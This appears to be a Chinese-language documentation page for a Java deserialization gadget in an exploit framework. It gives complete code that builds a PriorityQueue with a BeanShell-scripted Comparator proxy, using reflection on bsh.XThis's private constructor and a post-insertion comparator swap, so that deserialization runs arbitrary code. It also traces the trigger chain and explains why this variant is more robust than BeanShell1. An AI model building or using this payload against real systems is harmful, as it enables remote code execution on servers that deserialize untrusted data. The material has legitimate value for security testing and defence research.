- 类别:javanative 别名:— 优先级:—
- 作者:Killer
- 依赖:
org.beanshell:bsh:2.0b5
与 BeanShell1 同思路:把承载 BeanShell 脚本的 Comparator 动态代理装入 PriorityQueue,反序列化时经 compare 触发脚本 RCE。区别在于本实现用反射调用 XThis 的私有构造器并采用「先正常 add 再反射替换 comparator」的方式构造队列,绕过部分对 XThis 可见性/构造的限制。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(PriorityQueue.readObject)。 - 衔接
nextTags:Beanshell_Expr—— 下游提供 BeanShell 表达式字符串,见 BeanshellConvert、UserCustomExpr。 excludes:无。
public PriorityQueue getObject(String beanshell) throws Exception {
String payload = "compare(Object foo, Object bar) {%s;return new Integer(1);}";
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(String.format(payload, beanshell)); // 定义 compare() 方法
Class<?> xthis = Class.forName("bsh.XThis");
Field handlerField = xthis.getDeclaredField("invocationHandler"); // 反射拿 invocationHandler 字段
handlerField.setAccessible(true);
Constructor<?> ctor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
ctor.setAccessible(true); // 反射打开私有构造器
Object xt = ctor.newInstance(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(
Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<String> queue = new PriorityQueue<>(2);
queue.add("1"); queue.add("2"); // 先用无害元素占位(默认自然序,不触发脚本)
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator); // 事后反射注入恶意 comparator
return queue;
}- 与 BeanShell1 相比:BeanShell1 用
new XThis(...)+Reflections.getField,本类全程Class.forName("bsh.XThis")+ 私有构造器反射,对XThis非 public 构造器的环境更稳。 - 队列构造策略也不同:先
add("1")/add("2")(此时 comparator 尚为 null,走 String 自然序,不会触发脚本),完成堆结构后再field.set(queue, comparator)把比较器替换为恶意代理——同样规避构造期触发。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((String) chain.doCreate(context));
}触发链:PriorityQueue.readObject → heapify → siftDown → comparator.compare → (Proxy) bsh XThis.invoke → 执行 BeanShell 脚本。
本类无独立 @Param;BeanShell 脚本由下游 Beanshell_Expr gadget 经 chain.doCreate 注入。
- 依赖
bsh:2.0b5。 - 反射构造
XThis的方式使其不受bsh.XThis构造器/字段可见性变化影响,是对 BeanShell1 的兼容性增强变体。 - 无需 commons-collections,触发面为
PriorityQueue,通用性高。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 下游(
nextTags=Beanshell_Expr):BeanshellConvert、UserCustomExpr。 - 同族:BeanShell1 —— 相同 sink,构造手法略异。